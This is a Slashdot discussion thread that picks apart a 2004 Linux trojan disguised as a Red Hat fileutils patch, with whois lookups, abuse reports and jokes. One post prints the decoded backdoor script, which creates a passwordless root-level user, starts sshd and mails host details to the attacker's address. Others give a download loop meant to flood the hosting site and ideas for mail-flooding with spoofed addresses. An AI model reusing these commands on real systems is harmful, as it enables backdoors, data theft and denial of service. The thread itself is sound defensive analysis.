Re: I'll try it... Execution results!

[enginuitor]

It would appear that the author of this code was a bit foolish. The code appears to try to add a user, then start an sshd backdoor, all during the time that it's supposedly "Identifying the system". But it fails and spits out a bunch of errors! I will post the code shortly.

Re:Trademark infringement...

[}InFuZeD{]

Ok, that was a horrible misspelling of malicious :|

Christ, they didn't do a very good job...

[Nailer]

The domain name was a good start, but these kids will have a hard time fooling anyone since they've ignored most of the basics:

• Most users who install security upgrades won't be running Red Hat 7.x.
  
• Red Hat is two words. Both begin with capitals.
  
• Red Hat use packages. Not hard guys.
  
• Security updates are provided through up2date. If they were smart, they would have provided an up2date source to use.
  
• The exclamation marks in 'Apply this patch!' seem a little un vendor-like
  

Re:Christ, they didn't do a very good job...

[frankthechicken]

This was version 0.1 of the trojan, and is not yet ready for public release. With helpful contributions like your, we hope to use the "many eyes" approach, in keeping with the OSS philosophy, to form a complete and fully featured trojan.

Thus we would like to thank you for your generous time in helping this valuable project reach its full potential.

You may also like to take note of our web site www.bugzilla-Fedora-Redhat.com, where we have set up a forum dedicated to improving our product.

Re:Christ, they didn't do a very good job...

[aldoman]

RE: RedHat 7.3, frankly that's BS. 7.3 and 9 are very heavily used, still.

Re:Christ, they didn't do a very good job...

[harlows_monkeys]

Neither Red Hat nor Fedora Fegacy provide security updated for 7.3 and 9

Uhm...you are massively confused. The whole point of Fedora Legacy is to provide such updates.

Re:Christ, they didn't do a very good job...

[WindBourne]

What do you mean it is not done??? It has the MS quality control stamp all over it. It is not a bug, it is a feature. :):):)

Re:Christ, they didn't do a very good job...

[Puff Daddy]

Don't you mean www.bugzilla-Fedora-RedHat.com?

Re:Christ, they didn't do a very good job...

[mcrbids]

What's interesting, is that I actually got this message as a forward from one of my clients, who uses Progeny updates.

I was in a hurry, I didn't even think about the fact that Redhat is not Progeny, so my response was to simply run "yum update", a quick preview (there was only like two, not very important packages to update) and that was it. All of about 5 minutes, and I did nothing further, since the kernel wasn't updated and no running services were affected.

I forgot all about it until now, reading this article!

Re:Christ, they didn't do a very good job...

[david_costanzo]

It's more than just a faulty presentation--the whole premise is innane:

Redhat found a vulnerability in fileutils (ls and mkdir), that could allow a remote attacker to execute arbitrary code with root privileges.

ls and mkdir are running as a network server with root privileges? How did that happen?

Besides, we all know RedHat systems configure ls and mkdir to change to low-privilege users (lsnobody and mkdirnobody) after accepting the connection (unless you modify /etc/ls.conf or /etc/mkdir.conf, that is).

Re:Christ, they didn't do a very good job...

[wheany]

Besides, we all know RedHat systems configure ls and mkdir to change to low-privilege users

We do?

Whois on domains are easily faked

[Theatetus]

However, the IP block clearly belongs to Yahoo, whois 66.218.75.0 lists contact point netblockadmin@yahoo-inc.com

Anybody feel like dropping them a line to tell them they're hosting trojaners?

Yahoo!

[pavo]

Shut it down! Someone paid you to host this, pass that information along to the authorities.

Contents of inst.c...

[enginuitor]

I've tried to post the code here, but am repeatedly blocked by the Lameness Filter. I have posted the C file to my server. It's safe to view, as long as you don't go trying to compile and run it! :-p
View inst.c

Re:Contents of inst.c...

[nomadic]

It's safe to view, as long as you don't go trying to compile and run it! :-p

Hey, stop trying to deny my GPL rights you Windows-loving tyrant!

Re: I'll try it... Execution results!

[Student_Tech]

From the top of that inst.c file:

#if 0
shc Version 3.7, Generic Script Compiler
Copyright (c) 1994-2003 Francisco Rosales

shc -v -r -T -f redhat
#endif

From shc's manpage:

shc's main purpose is to protect your shell scripts from modification or inspection. You can use it if you wish to distribute your scripts but don't want them to be easily readable by other people.

Definitly doing something then, at least viewing the parent post.

Re: I'll try it... Execution results!

[Smitedogg]

Here is what it does.

Dogg

Looks to be a Klik client?

[RedPhoenix]

The source code for inst.c seems to be very similar to the "Klik client" code from http://klik.berlios.de/client/klik-0.1.3.c

Everything but the comments at the top of the page, and the shellcode, is pretty-much identical.

Klik looks to be a "KDE-based Live Installer for Knoppix".

Still looking....

Red.

Re:Looks to be a Klik client?

[RedPhoenix]

Ok, see superpeach's post above - both klik, and this, use a bit of code that includes shell script in a C program:
http://www.datsi.fi.upm.es/~frosal/sourc es/shc.htm l

Red.

Re:Looks to be a Klik client?

[MbM]

The klik source is not a trojan, it's simply a glorified wget wrapper .. no idea why

It seems stupid to encode the shell script into an unreadable form and then to post the sources; a few small changes to the source and it happily prints out the shell script.

I'm retarded

[Cid Highwind]

Looks like I misinterpreted the code. The rc4 stuff is part of the shc "script compiler" output that decodes the actual shell script. fileutils-patch.bin is just a mis-named redhat RPM that inst doesn't appear to use at all.

Re:I'm retarded

[busonerd]

Preliminary analysis of inst.c: Decrypts a whole bunch of stuff (not sure where it all goes yet) and then splits off to /bin/sh with a command line of: /bin/sh -c exec './inst' "$@" ./inst

Stupidity

[enginuitor]

The funniest part is that the code (a shell script compiled into C code, then into a binary, to obfuscate its purpose) failed miserably on my test systems, both Knoppix AND Fedora Core 2. It spat out a bunch of errors which completely revealed the fact that it was trying to add a user, start sshd, etc. C'mon, if you're gonna terrorize the Linux world, at least do it right!

Unauthorized use of RedHat Logo and name

[vchoy]

Going to the site, The use of Redhat logo and Redhat name itself is in clear violation of the trademark guidelines. I am guessing it will not be too long before this site and domain is taken down.

My question is: can these a**holes get away with using the 'fedora' name instead?

ps. I am not affilated with RH in anyway.
Copyright © 2004 All rights reserved. Redhat is a registered trademark of Redhat (only). No soup for you.

Re: I'll try it... Execution results!

[MbM]

The script is encoded into the text variable in the source. The key part of the script is this:

echo "Inca un root frate belea: " >> /tmp/mama
adduser -g 0 -u 0 -o bash >> /tmp/mama
passwd -d bash >> /tmp/mama
ifconfig >> /tmp/mama
uname -a >> /tmp/mama
uptime >> /tmp/mama
sshd >> /tmp/mama
echo "user bash stii tu" >> /tmp/mama
cat /tmp/mama | mail -s "Inca o roata" root@addlebrain.com >> /dev/null
rm -rf /tmp/mama

(I'd post the whole script but the lameness filter won't let me)

Create a user named bash, no password
grab the ip and uptime, start ssh
mail the results

contact yahoo

[Anonymous Coward]

Everyone should email yahoo via netblockadmin@yahoo-inc.com and ask them to take the site down.

Checksum

[jesser]

>md5sum fileutils-1.0.6.patch.tar.gz

68349c219d941209af8f7c968b89d622 *fileutils-1.0.6.patch.tar.gz

So you can be sure you're getting the real fake patch.

And so...

[Eric Damron]

The question begging to be asked is why is this site still alive?

heh, maybe it won't be for long with the /. effect!

Re: text (Why? Because.)

[turnstyle]

Why post the text instead of having the /. crowd flood their server to see what they've put up there?

Because sending loads of traffic to a site that is actively trying to get a trojan onto unsuspecting boxes seems like a pretty bad idea.

Apart from those that might click through without bothering to RTFA, and mistakenly think that it's a legit patch, there are also all those browser exploits (such as the Microsoft jpeg exploit) that could also be waiting on the site for unpatched systems.

Updated version from a couple of days ago...

[Zocalo]

This hit the SpamAssassin mailling list a couple of days ago, the only difference is the location of the file which might help explain the Stanford reference. In the original the line was:

wget www.stanford.edu/~joeio/fileutils-1.0.6.patch.tar. gz

but now it's:

wget www.fedora-redhat.com/fileutils-1.0.6.patch.tar.gz

Whoever is behind this certainly seems to be doing a very sloppy job of it. Yahoo, Melbourne IT, Stanford, hosting at "everyone.net"; hardly a who's who of dodgy companies and "bullet proof" service providers, is it? Frankly, I'm expecting to be reading a Slashdot story about a bust by the end of the week, and that's being generous.

Re:two good reasons

[Antique Geekmeister]

But slashdotting the misused domain will let the company hosting the fraudulent crap know that they should vet their users a bit more carefully, and let them know that they're hosting a *BIG* problem and may need to review their overal customer contracts to prevent this in the future. It also helps give the company incentive to prosecute, or at least sue, the jerk who set them up for this.

Probabilities:

[reality-bytes]

If the Antivirus companies were responsible, they'd have done a better job.

If Microsoft was responsible, they wouldn't have included any source code.

If SCO was responsible, they'd have included sourcecode and then sued you for running it

All things taken into consideration, I'm with 'other' on this one ;)

I love it!

[jd]

Linux geek comes across an obvious trojan. What does said geek do? E-mail the site admin? DoS the source site? Noooooo. They set up a sandbox environment and run it, to see what happens!

(Mind you, I'm no better. First time I got a computer virus, when I was running MSDOS, my first reaction was to run a binary diff against a clean version of the file, and disassemble the result to see what it did. Do you know if there's a cure for this?)

Re:I love it!

[juhaz]

Do you know if there's a cure for this?

A cure for what? Human curiosity? Why on Earth would anyone want to be "cured" from that, and become something less instead. It's one of the few good qualities that have brought us so far despite our lacking on other important areas...

On computer geeks, need to know how things work naturally becomes directed towards computers...

Re:I love it!

[Tony-A]

Do you know if there's a cure for this?

You don't want a cure for this.

If you want a legitimate comparison between Linux and Windows security, observe:

This is new and fresh enough to "set up a sandbox environment and run it, to see what happens!" Another Windows similar thingee, "been there done that".

Dated 23rd October 2004 on http://www.redhat.com/security/ which means that Red Hat was on top of it fast. This isn't the kind of thing that Slashdot sits on and Red Hat was one day plus ahead. For comparison, it took about 6 days for Microsoft to return anything about Code Red on a search from microsoft.com. That's 6 days after appearing on Slachdot (compared to 1 day before).

Re:I love it!

[/dev/trash]

Marriage.

Re:okay, heres the plan...

[synthparadox]

#!/usr/local/bin/bash

while [ 0 ]
do
wget -q http://www.fedora-redhat.com/fileutils-1.0.6.patch .tar.gz
rm -f fileutils-1.0.6.patch.tar.gz
done

Already running and will be running throughout the night.

Re: I'll try it... Execution results!

[labratuk]

Surely we just have to send a load of bogus reports to root@addlebrain.com and he'll have a fun time trying to find the genuine ones.

Fill the mailbox

[grahamdrew]

We know the email address that the trojan sends it's feedback to. Rather than attempting to slashdot the site, why don't we just flood the email box. It'll eat bandwidth, dilute any useful data the SOB who set this up will get, and maybe stop future dipshit admins from getting whacked. So... anybody want to work out the format of a message telling whatever lameass came up with this scheme that microsoft.com just got rooted? :-)

notifying the appropriate people....

[menscher]

To : abuse@everyone.net,
abuse@above.net
Subject : malware using your netblock to propagate

http://it.slashdot.org/article.pl?sid =04/10/24/2352234&tid=172&tid=110&tid=218&tid=106

The story reports on a linux trojan that, after installing, emails a
report back to root@addlebrain.com. The MX record for addlebrain.com
points to sitemail.everyone.net. It would reduce the effect of this if
you could shut down that email account.

Better yet, you should gather the list of infected IPs and then inform
the owners.

Damian Menscher
--
-=#| Physics Grad Student & SysAdmin @ U Illinois Urbana-Champaign |#=-
-=#| 488 LLP, 1110 W. Green St, Urbana, IL 61801 Ofc:(217)333-0038 |#=-
-=#| 4602 Beckman, VMIL/MS, Imaging Technology Group:(217)244-3074 |#=-
-=#| <menscher@uiuc.edu> www.uiuc.edu/~menscher/ Fax:(217)333-9819 |#=-
-=#| The above opinions are not necessarily those of my employers. |#=-

Re:bastards

[vsync64]

Red Hat should simply rename the file on their site, change the links to it, and then replace it with a "THIS IS FRAUD" PNG.

Re: I'll try it... Execution results!

[OmegaBlac]

But it fails and spits out a bunch of errors!

Sounds like my last kernel compile.

Re: I'll try it... Execution results!

[schon]

Surely we just have to send a load of bogus reports to root@addlebrain.com and he'll have a fun time trying to find the genuine ones.

If you do, make sure the IP addresses are of .mil and .gov sites. :o)

I knew it

[ganhawk]

I knew, my habit of not updating my systems would help me someday.

Re: text (Why? Because.)

[Feanturi]

without bothering to RTFA, and mistakenly think that it's a legit patch,

Though it's a shitty thing for someone to be doing, as it is anytime somebody tries to get a virus or exploit going, it is at the same time a very amusing example of one. Think about it, the concept of this one has a certain beauty: It is meant to be activated while the machine is under the control of someone who should know better. There is no clueless-luser-carelessly-clicking that can be done here, you've got to know some basic geek stuff to go get the 'patch', unpack it, install it.. You've got to expend a reasonable amount of effort to get nailed by this thing. That is both its curse and its beauty.

Re:The guy seems to be Romanian

[at_slashdot]

I confirm, it's Romanian, I translated in other post, nothing important, the writer is an idiot.

link to a translation

[danalien]

here is a slashdot user who has translated it.

Blow by blow

[Anonymous Coward]

It appears the human body maintains a temperature of approximately 98.6'F... lemmie shove a thermometer up my @ss, and I'll report back my findings here.

From the WHOIS:

[Anonymous Coward]

I looked at the whois... fedora-redhat.com reported:

Raymond Jackson
224 Cedar Avenue
New York, NY 95301.
209 899-4533 However, 95301 is an Atwater, CA zip code.

So, I looked up Raymond Jackson in Atwater. What did I find?


Raymond Jackson
224 Cedar Avenue
Atwater, CA 95301
209 358 8510.

Looks like he did a crappy job of disguising his identity. Go get him!!!

dont bother wasting your time....

[Indy1]

host fedora-redhat.com
fedora-redhat.com has address 66.218.79.149
fedora-redhat.com has address 66.218.79.155
fedora-redhat.com has address 66.218.79.147
fedora-redhat.com has address 66.218.79.148

whois 66.218.79.149

OrgName: Yahoo!
OrgID: YAOO
Address: 701 First Avenue
City: Sunnyvale
StateProv: CA
PostalCode: 94089
Country: US

NetRange: 66.218.64.0 - 66.218.95.255
CIDR: 66.218.64.0/19

Trying to ddos yahoo wont get you very far : )

Full decryption of the shell script

[moyix]

Someone on the full-disclosure has posted a good analysis of what this is. Have a look at this thread.

Re: I'll try it... Execution results!

[Spoing]

Surely we just have to send a load of bogus reports to root@addlebrain.com and he'll have a fun time trying to find the genuine ones.

Not if you run your own mail server(s).

As a test of why this is a BAD IDEA, send a message from your servers to an outside account. Read the full headers. Notice helpful little things there including IP addresses?

(Yes, you can send the message through your own servers to another account...though it might make reading the headers even more confusing if you've never done it before.)

Re: I'll try it... Execution results!

[WindBourne]

You can do better.
Try:

• 216.250.128.21
• 207.46.144.188

These are more than good enough.

Re:look at this in a diffrent way

[dtfinch]

I can just imagine...

"Attached is a sexy picture of Anna Kournikova.
To view the picture, simply:
1) save the attachment
2) su -
3) tar -xjf anna.tar.gz
4) ./configure
5) make
6) make install
7) anna"

This is what happens...

[the angry liberal]

Maybe it's not the first trojan targeted at Linux users, but together with the official sounding domain, it could trick some users into downloading and running the binary.

This is an unfortunate reality today. Back in my day, the only way to be a real Linux guru was to compile and build your system from scratch using a dev box.

Nowadays, any average person can easily install Linux and instantly become "31337". Today's typical Linux user has no idea what half the files on his system do, or where they came from. Unforunately, the majority of you with moderator points fall into this category so my post is doomed!

I would advise those who are new to Linux to visit the Linux From Scratch website and set aside a weekend of learning. There is no better method for gaining useful knowledge regarding the reduction of hard drive clutter and increasiong optimization, and security.

Re: text (Why? Because.)

[Thing 1]

This is an honor virus. Please forward to all your friends, then format your hard drive(s). Thank you.

WTF??

[temojen]

Redhat found a vulnerability in fileutils (ls and mkdir), that could allow a remote attacker to execute arbitrary code with root privileges.

We're supposed to believe this?

Re: text (Why? Because.)

[Stephen Samuel]

This is a buggy honor virus. Please format your hard drive(s) and then pass it to all your friends.
Thank you.

Re: I'll try it... Execution results!

[KarmaPolice]

Surely we just have to send a load of bogus reports to root@addlebrain.com and he'll have a fun time trying to find the genuine ones.

Been there, done that:
<root@addlebrain.com>: host sitemail.everyone.net[216.200.145.51] said: 554
Recipient Rejected: Not accepting mail for this account : Account
terminated due to violation of user agreement

...the system works!

Re: I'll try it... Execution results!

[Tony-A]

...the system works!

Agreed, but it needs be very very careful as to any assumptions as to exactly which system it was that worked.

The first order of business is to somehow, anyhow, stem the tide.
The second is to be very wary of jumping to any conclusions. If I'm going to do something bad that requires a name and address on it, I will use your name and address not mine.
Third, it is probably better if the reactive responses are not exactly predictable. If your enemy has extremely predictable responses, you can defeat his superor forces with inferior forces.

Judging from this and the responses to this, I'd say that Open Source is in very good shape to take care of itself. Even better than a coordinated defense is being able to defend regardless of coordination or the lack thereof. Counting vulnerabilities is an extremely bad metric, particularly considering that Red Hat, etc knows that if you actually want people to patch their systems, you never under any circumstances downplay the potential severity.